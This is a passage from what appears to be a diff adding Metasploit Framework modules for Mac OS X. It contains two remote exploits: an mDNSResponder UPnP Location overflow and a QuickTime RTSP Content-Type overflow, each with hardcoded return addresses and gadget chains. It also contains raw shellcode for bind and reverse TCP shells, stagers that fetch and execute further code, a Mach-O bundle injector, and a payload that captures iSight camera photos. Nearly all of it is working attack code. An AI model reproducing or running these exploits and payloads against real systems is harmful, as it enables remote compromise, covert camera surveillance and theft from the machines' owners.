fprintf(stderr, "usage: %s [ -t ] payload_bin\n", argv[0]);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (threaded)
|
||||
create_read_and_exec_thread(argv[optind]);
|
||||
else
|
||||
read_and_exec_file(argv[optind]);
|
||||
}
|
|
@ -0,0 +1,9 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# Write data preceded by little-endian 4-byte size
|
||||
#
|
||||
|
||||
bundle = IO::read(ARGV[0])
|
||||
|
||||
data = [bundle.length, bundle].pack('Va*')
|
||||
STDOUT.write(data)
|
|
@ -0,0 +1,100 @@
|
|||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# BundleInject common module stub that is meant to be included in payloads that
|
||||
# make use of Mach-O bundle injection.
|
||||
#
|
||||
###
|
||||
module Payload::Osx::BundleInject
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Mac OS X Inject Mach-O Bundle',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a custom Mach-O bundle into the exploited process',
|
||||
'Author' =>
|
||||
[
|
||||
'Dino Dai Zovi <ddz@theta44.org>',
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Convention' => 'sockedi'
|
||||
},
|
||||
'Stage' =>
|
||||
{
|
||||
'Payload' =>
|
||||
"\xe9\xc1\x00\x00\x00\x8b\x44\x24\x04\x50\x68\x00\x00\xe0\x8f\xe8"+
|
||||
"\x03\x00\x00\x00\xc2\x04\x00\x55\x89\xe5\x83\xec\x0c\x53\x56\x57"+
|
||||
"\x8b\x5d\x08\x8b\x43\x10\x89\x45\xfc\x80\xc3\x1c\x31\xc0\x39\x45"+
|
||||
"\xfc\x0f\x84\x88\x00\x00\x00\x40\x39\x03\x74\x10\x40\x39\x03\x74"+
|
||||
"\x41\xff\x4d\xfc\x03\x5b\x04\xe9\xe0\xff\xff\xff\x81\x7b\x0a\x54"+
|
||||
"\x45\x58\x54\x74\x0e\x81\x7b\x0a\x4c\x49\x4e\x4b\x74\x10\xe9\xde"+
|
||||
"\xff\xff\xff\x8b\x43\x18\x89\x45\xf8\xe9\xd3\xff\xff\xff\x8b\x43"+
|
||||
"\x18\x2b\x45\xf8\x03\x45\x08\x2b\x43\x20\x89\x45\xf4\xe9\xbf\xff"+
|
||||
"\xff\xff\x8b\x4b\x0c\x31\xc0\x39\xc1\x74\x34\x49\x6b\xd1\x0c\x03"+
|
||||
"\x53\x08\x03\x55\xf4\x8b\x32\x03\x73\x10\x03\x75\xf4\x31\xff\xfc"+
|
||||
"\x31\xc0\xac\x38\xe0\x74\x0a\xc1\xcf\x0d\x01\xc7\xe9\xef\xff\xff"+
|
||||
"\xff\x3b\x7d\x0c\x75\xcf\x8b\x42\x08\x2b\x45\xf8\x03\x45\x08\x5f"+
|
||||
"\x5e\x5b\xc9\xc2\x08\x00\x55\x89\xe5\x83\xec\x0c\x89\xfe\x31\xc0"+
|
||||
"\xb0\x04\x50\x8d\x7d\xfc\x57\x56\x50\x48\xcd\x80\x72\x12\x39\xc8"+
|
||||
"\x74\x0e\x8b\x4d\xfc\x31\xc0\x39\xc1\x74\x05\xe9\x05\x00\x00\x00"+
|
||||
"\xe9\xa8\x00\x00\x00\x31\xc0\x50\x68\xff\xff\xff\xff\x68\x02\x10"+
|
||||
"\x00\x00\x68\x03\x00\x00\x00\x51\x50\x50\xb0\xc5\xcd\x80\x0f\x82"+
|
||||
"\x89\x00\x00\x00\x89\xc7\x89\x7d\xf8\x31\xc0\x51\x57\x56\x50\xb0"+
|
||||
"\x03\xcd\x80\x72\x78\x01\xc7\x29\xc1\x75\xee\x8b\x7d\xf8\x83\xec"+
|
||||
"\x10\x81\xe4\xf0\xff\xff\xff\x6a\x00\x8d\x45\xf8\x50\xff\x75\x0c"+
|
||||
"\x57\x68\x81\x2a\x6b\x74\xe8\xba\xfe\xff\xff\xff\xd0\x3c\x01\x75"+
|
||||
"\x4c\x31\xc0\x50\xb0\x05\x50\x54\xff\x75\xf8\x68\x91\x81\xb1\x76"+
|
||||
"\xe8\xa0\xfe\xff\xff\xff\xd0\x89\xc3\x31\xc0\x50\x68\x5f\x72\x75"+
|
||||
"\x6e\x89\xe0\x50\x53\x68\x9d\xf3\xd0\x4f\xe8\x86\xfe\xff\xff\xff"+
|
||||
"\xd0\x81\xec\x0c\x00\x00\x00\x50\x68\x52\x58\x4e\xa5\xe8\x73\xfe"+
|
||||
"\xff\xff\xff\xd0\x81\xec\x0c\x00\x00\x00\x56\xff\xd0\x31\xc0\x50"+
|
||||
"\x50\xb0\x01\xcd\x80"
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPath.new('BUNDLE', [ true, "The local path to the Mach-O bundle to upload" ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Transmits the DLL injection payload and its associated DLL to the remote
|
||||
# computer so that it can be loaded into memory.
|
||||
#
|
||||
def handle_connection_stage(conn)
|
||||
data = ""
|
||||
|
||||
begin
|
||||
File.open(datastore['BUNDLE'], "rb") { |f|
|
||||
data += f.read
|
||||
}
|
||||
rescue
|
||||
print_error("Failed to load bundle: #{$!}.")
|
||||
|
||||
# TODO: exception
|
||||
conn.close
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Uploading bundle (#{data.length} bytes)...")
|
||||
|
||||
# Send the size of the thing we're transferring
|
||||
conn.put([ data.length ].pack('V'))
|
||||
# Send the image
|
||||
conn.put(data)
|
||||
|
||||
print_status("Upload completed.")
|
||||
|
||||
# Call the parent so the session gets created.
|
||||
super
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,200 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
include Exploit::Remote::Udp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow',
|
||||
'Platform' => 'osx',
|
||||
'DefaultOptions' => {
|
||||
'SRVPORT' => 1900,
|
||||
'RPORT' => 0
|
||||
},
|
||||
'Targets' => [
|
||||
[ '10.4.8 x86', { # mDNSResponder-108.2
|
||||
'Arch' => ARCH_X86,
|
||||
|
||||
# Offset to mDNSStorage structure
|
||||
'Offset' => 21000,
|
||||
'Magic' => 0x8fe510a0,
|
||||
'g_szRouterHostPortDesc' => 0x53dc0,
|
||||
}
|
||||
],
|
||||
[ '10.4.0 PPC', { # mDNSResponder-107
|
||||
'Arch' => ARCH_PPC,
|
||||
'Offset' => 21000,
|
||||
'Magic' => 0x8fe51f4c,
|
||||
'Ret' => 0x8fe41af8,
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
|
||||
'Payload' => {
|
||||
'BadChars' => "\x00\x3a\x2f",
|
||||
'StackAdjustment' => 0,
|
||||
'Space' => 468
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::LHOST(),
|
||||
OptPort.new('SRVPORT',
|
||||
[true, "The UPNP server port to listen on", 1900])
|
||||
], self.class)
|
||||
|
||||
@mutex = Mutex.new()
|
||||
@found_upnp_port = false
|
||||
@key_to_port = Hash.new()
|
||||
@upnp_port = 0
|
||||
@client_socket = nil
|
||||
end
|
||||
|
||||
def check
|
||||
#
|
||||
# TODO: Listen on two service ports, one a single character
|
||||
# shorter than the other (i.e 1900 and 19000). If the copy was
|
||||
# truncated by strlcpy, it will connect to the service listening
|
||||
# on the shorter port number.
|
||||
#
|
||||
upnp_port = scan_for_upnp_port()
|
||||
if (upnp_port > 0)
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Unsupported
|
||||
end
|
||||
end
|
||||
|
||||
def upnp_server(server)
|
||||
client = server.accept()
|
||||
request = client.readline()
|
||||
if (request =~ /GET \/([\da-f]+).xml/)
|
||||
@mutex.synchronize {
|
||||
@found_upnp_port = true
|
||||
@upnp_port = @key_to_port[$1]
|
||||
|
||||
# Important: Keep the client connection open
|
||||
@client_socket = client
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
def scan_for_upnp_port
|
||||
@upnp_port = 0
|
||||
@found_upnp_port = false
|
||||
|
||||
upnp_port = 0
|
||||
|
||||
# XXX: Do this in a more Metasploit-y way
|
||||
server = TCPServer.open(1900)
|
||||
server_thread = Thread.new { self.upnp_server(server) }
|
||||
|
||||
begin
|
||||
socket = Rex::Socket.create_udp
|
||||
|
||||
upnp_location =
|
||||
"http://" + datastore['LHOST'] + ":" + datastore['SRVPORT']
|
||||
|
||||
puts "[*] Listening for UPNP requests on: #{upnp_location}"
|
||||
puts "[*] Sending UPNP Discovery replies..."
|
||||
|
||||
i = 49152;
|
||||
while i < 65536 && @mutex.synchronize { @found_upnp_port == false }
|
||||
key = sprintf("%.2x%.2x%.2x%.2x%.2x",
|
||||
rand(255), rand(255), rand(255), rand(255), rand(255))
|
||||
|
||||
@mutex.synchronize {
|
||||
@key_to_port[key] = i
|
||||
}
|
||||
|
||||
upnp_reply =
|
||||
"HTTP/1.1 200 Ok\r\n" +
|
||||
"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
|
||||
"USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" +
|
||||
"Location: #{upnp_location}/#{key}.xml\r\n\r\n"
|
||||
|
||||
socket.sendto(upnp_reply, datastore['RHOST'], i)
|
||||
|
||||
i += 1
|
||||
end
|
||||
|
||||
@mutex.synchronize {
|
||||
if (@found_upnp_port)
|
||||
upnp_port = @upnp_port
|
||||
end
|
||||
}
|
||||
ensure
|
||||
server.close
|
||||
server_thread.join
|
||||
end
|
||||
|
||||
return upnp_port
|
||||
end
|
||||
|
||||
def exploit
|
||||
#
|
||||
# It is very important that we scan for the upnp port. We must
|
||||
# receive the TCP connection and hold it open, otherwise the
|
||||
# code path that uses the overwritten function pointer most
|
||||
# likely won't be used. Holding this connection increases the
|
||||
# chance that the code path will be used dramatically.
|
||||
#
|
||||
upnp_port = scan_for_upnp_port()
|
||||
|
||||
if upnp_port == 0
|
||||
raise "Could not find listening UPNP UDP socket"
|
||||
end
|
||||
|
||||
datastore['RPORT'] = upnp_port
|
||||
|
||||
socket = connect_udp()
|
||||
|
||||
if (target['Arch'] == ARCH_X86)
|
||||
space = "A" * target['Offset']
|
||||
space[0, payload.encoded.length] = payload.encoded
|
||||
|
||||
pattern = Rex::Text.pattern_create(47)
|
||||
pattern[20, 4] = [target['Magic']].pack('V')
|
||||
pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2]
|
||||
|
||||
boom = space + pattern
|
||||
usn = ""
|
||||
|
||||
elsif (target['Arch'] == ARCH_PPC)
|
||||
space = "A" * target['Offset']
|
||||
|
||||
pattern = Rex::Text.pattern_create(48)
|
||||
pattern[20, 4] = [target['Magic']].pack('N')
|
||||
|
||||
#
|
||||
# r26, r27, r30, r31 point to g_szUSN+556
|
||||
# Ret should be a branch to one of these registers
|
||||
# And we make sure to put our payload in the USN header
|
||||
#
|
||||
pattern[44, 4] = [target['Ret']].pack('N')
|
||||
|
||||
boom = space + pattern
|
||||
|
||||
#
|
||||
# Start payload at offset 556 within USN
|
||||
#
|
||||
usn = "A" * 556 + payload.encoded
|
||||
end
|
||||
|
||||
upnp_reply =
|
||||
"HTTP/1.1 200 Ok\r\n" +
|
||||
"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
|
||||
"USN: #{usn}\r\n" +
|
||||
"Location: http://#{boom}\r\n\r\n"
|
||||
|
||||
puts "[*] Sending evil UPNP response"
|
||||
socket.put(upnp_reply)
|
||||
|
||||
puts "[*] Sleeping to give mDNSDaemonIdle() a chance to run"
|
||||
sleep(10)
|
||||
|
||||
handler()
|
||||
disconnect_udp()
|
||||
end
|
||||
end
|
|
@ -0,0 +1,157 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
include Exploit::Remote::TcpServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MacOS X QuickTime RTSP Content-Type Overflow',
|
||||
'Platform' => 'osx',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Mac OS X 10.4.0 PowerPC, QuickTime 7.0.0', {
|
||||
'Arch' => ARCH_PPC,
|
||||
'Ret' => 0x8fe3f88c,
|
||||
'RetOffset' => 551,
|
||||
'PayloadOffset' => 879
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X 10.5.0 PowerPC, QuickTime 7.2.1', {
|
||||
'Arch' => ARCH_PPC,
|
||||
'Ret' => 0x8fe042e0,
|
||||
'RetOffset' => 615,
|
||||
'PayloadOffset' => 3351
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X 10.4.8 x86, QuickTime 7.1.3', {
|
||||
'Arch' => ARCH_X86,
|
||||
'Offset' => 307,
|
||||
|
||||
'Writable' => 0xa0bd0f10, # libSystem __IMPORT
|
||||
|
||||
# The rest of these are all in libSystem __TEXT
|
||||
'ret' => 0x9015d336,
|
||||
'poppopret' => 0x9015d334,
|
||||
'setjmp' => 0x900bc438,
|
||||
'strdup' => 0x90012f40,
|
||||
'jmp_eax' => 0x9014a77f
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X 10.5.0 x86, QuickTime 7.2.1', {
|
||||
'Arch' => ARCH_X86,
|
||||
'Offset' => 307,
|
||||
|
||||
'Writable' => 0x8fe66448, # dyld __IMPORT
|
||||
|
||||
# The rest of these addresses are in dyld __TEXT
|
||||
'ret' => 0x8fe1ceee,
|
||||
'poppopret' => 0x8fe220d7,
|
||||
'setjmp' => 0x8fe1ceb0,
|
||||
'strdup' => 0x8fe1cd77,
|
||||
'jmp_eax' => 0x8fe01041
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 2,
|
||||
'Payload' => {
|
||||
'Space' => 3841,
|
||||
'BadChars' =>
|
||||
"\x00\x0a\x0d",
|
||||
'MaxNops' => 0,
|
||||
'StackAdjustment' => -3500,
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
######
|
||||
|
||||
# XXX: This does not work on Tiger apparently
|
||||
def make_exec_payload_from_heap_stub()
|
||||
frag0 =
|
||||
"\x90" + # nop
|
||||
"\x58" + # pop eax
|
||||
"\x61" + # popa
|
||||
"\xc3" # ret
|
||||
|
||||
frag1 =
|
||||
"\x90" + # nop
|
||||
"\x58" + # pop eax
|
||||
"\x89\xe0" + # mov eax, esp
|
||||
"\x83\xc0\x0c" + # add eax, byte +0xc
|
||||
"\x89\x44\x24\x08" + # mov [esp+0x8], eax
|
||||
"\xc3" # ret
|
||||
|
||||
setjmp = target['setjmp']
|
||||
writable = target['Writable']
|
||||
strdup = target['strdup']
|
||||
jmp_eax = target['jmp_eax']
|
||||
|
||||
exec_payload_from_heap_stub =
|
||||
frag0 +
|
||||
[setjmp].pack('V') +
|
||||
[writable + 32, writable].pack("V2") +
|
||||
frag1 +
|
||||
"X" * 20 +
|
||||
[setjmp].pack('V') +
|
||||
[writable + 24, writable, strdup, jmp_eax].pack("V4") +
|
||||
"X" * 4
|
||||
end
|
||||
|
||||
def on_client_connect(client)
|
||||
print_status("Got client connection...")
|
||||
|
||||
if (target['Arch'] == ARCH_PPC)
|
||||
ret_offset = target['RetOffset']
|
||||
payload_offset = target['PayloadOffset']
|
||||
|
||||
# Create pattern sized up to payload, since it always follows
|
||||
# the return address.
|
||||
boom = Rex::Text.pattern_create(payload_offset)
|
||||
|
||||
boom[ret_offset, 4] = [target['Ret']].pack('N')
|
||||
boom[payload_offset, payload.encoded.length] = payload.encoded
|
||||
else
|
||||
boom = Rex::Text.pattern_create(327)
|
||||
|
||||
boom[307, 4] = [target['ret']].pack('V')
|
||||
boom[311, 4] = [target['ret']].pack('V')
|
||||
boom[315, 4] = [target['poppopret']].pack('V')
|
||||
boom[319, 4] = [target['Writable']].pack('V')
|
||||
boom[323, 4] = [target['Writable']].pack('V')
|
||||
|
||||
#
|
||||
# Create exec-payload-from-heap-stub, but split it in two.
|
||||
# The first word must be placed as the overwritten saved ebp
|
||||
# in the attack string. The rest is placed after the
|
||||
# Writable memory addresses.
|
||||
#
|
||||
magic = make_exec_payload_from_heap_stub()
|
||||
boom[303, 4] = magic[0, 4]
|
||||
boom += magic[4..-1]
|
||||
|
||||
#
|
||||
# Place the payload immediately after the stub as it expects
|
||||
#
|
||||
boom += payload.encoded
|
||||
end
|
||||
|
||||
body = " "
|
||||
header =
|
||||
"RTSP/1.0 200 OK\r\n"+
|
||||
"CSeq: 1\r\n"+
|
||||
"Content-Type: #{boom}\r\n"+
|
||||
"Content-Length: #{body.length}\r\n\r\n"
|
||||
|
||||
print_status("Sending RTSP response...")
|
||||
client.put(header + body)
|
||||
|
||||
print_status("Sleeping...")
|
||||
sleep(1)
|
||||
|
||||
print_status("Starting handler...")
|
||||
handler(client)
|
||||
|
||||
print_status("Closing client...")
|
||||
service.close_client(client)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,64 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Osx
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'OSX (vfork) Command Shell, Bind TCP Inline',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Listen for a connection, vfork if necessary, and spawn a command shell',
|
||||
'Author' => 'Dino Dai Zovi <ddz@theta44.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LPORT' => [ 27, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
"\x31\xc0\x99\x50\x40\x50\x40\x50"+
|
||||
"\x52\xb0\x61\xcd\x80\x0f\x82\x7e"+
|
||||
"\x00\x00\x00\x89\xc6\x52\x52\x52"+
|
||||
"\x68\x00\x02\x34\x12\x89\xe3\x6a"+
|
||||
"\x10\x53\x56\x52\xb0\x68\xcd\x80"+
|
||||
"\x72\x67\x52\x56\x52\xb0\x6a\xcd"+
|
||||
"\x80\x72\x5e\x52\x52\x56\x52\xb0"+
|
||||
"\x1e\xcd\x80\x72\x54\x89\xc7\x31"+
|
||||
"\xdb\x83\xeb\x01\x43\x53\x57\x53"+
|
||||
"\xb0\x5a\xcd\x80\x72\x43\x83\xfb"+
|
||||
"\x03\x75\xf1\x31\xc0\x50\x50\x50"+
|
||||
"\x50\xb0\x3b\xcd\x80\x90\x90\x3c"+
|
||||
"\x2d\x75\x09\xb0\x42\xcd\x80\x83"+
|
||||
"\xfa\x00\x74\x17\x31\xc0\x50\x68"+
|
||||
"\x2f\x2f\x73\x68\x68\x2f\x62\x69"+
|
||||
"\x6e\x89\xe3\x50\x50\x53\x50\xb0"+
|
||||
"\x3b\xcd\x80\x31\xc0\x50\x89\xe3"+
|
||||
"\x50\x50\x53\x50\x50\xb0\x07\xcd"+
|
||||
"\x80\x31\xc0\x50\x50\x40\xcd\x80"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,63 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Osx
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'OSX (vfork) Command Shell, Reverse TCP Inline',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Connect back to attacker, vfork if necessary, and spawn a command shell',
|
||||
'Author' => 'Dino Dai Zovi <ddz@theta44.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LHOST' => [ 20, 'ADDR' ],
|
||||
'LPORT' => [ 27, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
"\x31\xc0\x99\x50\x40\x50\x40\x50"+
|
||||
"\x52\xb0\x61\xcd\x80\x72\x6d\x89"+
|
||||
"\xc7\x52\x52\x68\x7f\x00\x00\x01"+
|
||||
"\x68\x00\x02\x34\x12\x89\xe3\x6a"+
|
||||
"\x10\x53\x57\x52\xb0\x62\xcd\x80"+
|
||||
"\x72\x52\x31\xdb\x83\xeb\x01\x43"+
|
||||
"\x53\x57\x53\xb0\x5a\xcd\x80\x72"+
|
||||
"\x43\x83\xfb\x03\x75\xf1\x31\xc0"+
|
||||
"\x50\x50\x50\x50\xb0\x3b\xcd\x80"+
|
||||
"\x90\x90\x3c\x2d\x75\x09\xb0\x42"+
|
||||
"\xcd\x80\x83\xfa\x00\x74\x17\x31"+
|
||||
"\xc0\x50\x68\x2f\x2f\x73\x68\x68"+
|
||||
"\x2f\x62\x69\x6e\x89\xe3\x50\x50"+
|
||||
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0"+
|
||||
"\x50\x89\xe3\x50\x50\x53\x50\x50"+
|
||||
"\xb0\x07\xcd\x80\x31\xc0\x50\x50"+
|
||||
"\x40\xcd\x80"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,59 @@
|
|||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
|
||||
###
|
||||
#
|
||||
# BindTcp
|
||||
# -------
|
||||
#
|
||||
# Mac OS X x86 bind TCP stager.
|
||||
#
|
||||
###
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
|
||||
def initialize(info = { })
|
||||
super(merge_info(info,
|
||||
'Name' => 'Bind TCP Stager',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Listen, read length, read buffer, execute',
|
||||
'Author' => 'Dino Dai Zovi <ddz@theta44.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' => { 'LPORT' => [ 27, 'n'] },
|
||||
'Payload' =>
|
||||
"\x31\xc0\x99\x50\x40\x50\x40\x50"+
|
||||
"\x52\xb0\x61\xcd\x80\x0f\x82\x7d"+
|
||||
"\x00\x00\x00\x89\xc6\x52\x52\x52"+
|
||||
"\x68\x00\x02\x34\x12\x89\xe3\x6a"+
|
||||
"\x10\x53\x56\x52\xb0\x68\xcd\x80"+
|
||||
"\x72\x66\x52\x56\x52\xb0\x6a\xcd"+
|
||||
"\x80\x72\x5d\x52\x52\x56\x52\xb0"+
|
||||
"\x1e\xcd\x80\x72\x53\x89\xc7\x89"+
|
||||
"\xe5\x83\xec\x08\x31\xc9\xf7\xe1"+
|
||||
"\x51\x89\xe6\xb0\x04\x50\x56\x57"+
|
||||
"\x50\x48\xcd\x80\x72\x3a\x8b\x74"+
|
||||
"\x24\x10\x31\xc0\x50\x50\x48\x50"+
|
||||
"\x40\x66\xb8\x02\x10\x50\x31\xc0"+
|
||||
"\xb0\x07\x50\x56\x52\x52\xb0\xc5"+
|
||||
"\xcd\x80\x72\x1c\x89\xc3\x01\xf3"+
|
||||
"\x56\x89\xd8\x29\xf0\x50\x57\x52"+
|
||||
"\x31\xc0\xb0\x03\xcd\x80\x72\x08"+
|
||||
"\x29\xc3\x29\xc6\x75\xea\xff\xe3"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, p)
|
||||
#
|
||||
# Our stager payload expects to see a next-stage length first.
|
||||
#
|
||||
conn.put([p.length].pack('V'))
|
||||
end
|
||||
end
|
|
@ -0,0 +1,61 @@
|
|||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
|
||||
###
|
||||
#
|
||||
# ReverseTcp
|
||||
# -------
|
||||
#
|
||||
# Mac OS X x86 Reverse TCP stager.
|
||||
#
|
||||
###
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
|
||||
def initialize(info = { })
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse TCP Stager',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Connect, read length, read buffer, execute',
|
||||
'Author' => 'Dino Dai Zovi <ddz@theta44.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LHOST' => [ 20, 'ADDR'],
|
||||
'LPORT' => [ 27, 'n']
|
||||
},
|
||||
'Payload' =>
|
||||
"\x31\xc0\x99\x50\x40\x50\x40\x50"+
|
||||
"\x52\xb0\x61\xcd\x80\x72\x6c\x89"+
|
||||
"\xc7\x52\x52\x68\x7f\x00\x00\x01"+
|
||||
"\x68\x00\x02\x34\x12\x89\xe3\x6a"+
|
||||
"\x10\x53\x57\x52\xb0\x62\xcd\x80"+
|
||||
"\x72\x51\x89\xe5\x83\xec\x08\x31"+
|
||||
"\xc9\xf7\xe1\x51\x89\xe6\xb0\x04"+
|
||||
"\x50\x56\x57\x50\x48\xcd\x80\x72"+
|
||||
"\x3a\x8b\x74\x24\x10\x31\xc0\x50"+
|
||||
"\x50\x48\x50\x40\x66\xb8\x02\x10"+
|
||||
"\x50\x31\xc0\xb0\x07\x50\x56\x52"+
|
||||
"\x52\xb0\xc5\xcd\x80\x72\x1c\x89"+
|
||||
"\xc3\x01\xf3\x56\x89\xd8\x29\xf0"+
|
||||
"\x50\x57\x52\x31\xc0\xb0\x03\xcd"+
|
||||
"\x80\x72\x08\x29\xc3\x29\xc6\x75"+
|
||||
"\xea\xff\xe3"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, p)
|
||||
#
|
||||
# Our stager payload expects to see a next-stage length first.
|
||||
#
|
||||
conn.put([p.length].pack('V'))
|
||||
end
|
||||
end
|
|
@ -0,0 +1,26 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/osx/bundleinject'
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Injects an arbitrary DLL in the exploited process.
|
||||
#
|
||||
###
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Osx::BundleInject
|
||||
|
||||
end
|
|
@ -0,0 +1,90 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/osx/bundleinject'
|
||||
require 'msf/base/sessions/vncinject'
|
||||
require 'fileutils'
|
||||
require 'rex/compat'
|
||||
|
||||
###
|
||||
#
|
||||
# Injects the VNC server DLL and runs it over the established connection.
|
||||
#
|
||||
###
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Osx::BundleInject
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Mac OS X x86 iSight photo capture',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a Mach-O bundle to capture a photo from the iSight',
|
||||
'Author' => [ 'Dino Dai Zovi <ddz@theta44.org' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::CommandShell))
|
||||
|
||||
# Override the BUNDLE path with the iSight capture library
|
||||
register_options(
|
||||
[
|
||||
OptPath.new('BUNDLE',
|
||||
[
|
||||
true,
|
||||
"The local path to the iSight Mach-O Bundle to upload",
|
||||
File.join(Msf::Config.install_root, "data", "isight.bundle")
|
||||
]),
|
||||
OptBool.new('AUTOVIEW',
|
||||
[
|
||||
true,
|
||||
"Automatically open the picture in a browser ",
|
||||
true
|
||||
])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def on_session(session)
|
||||
print_status("Downloading photo...")
|
||||
|
||||
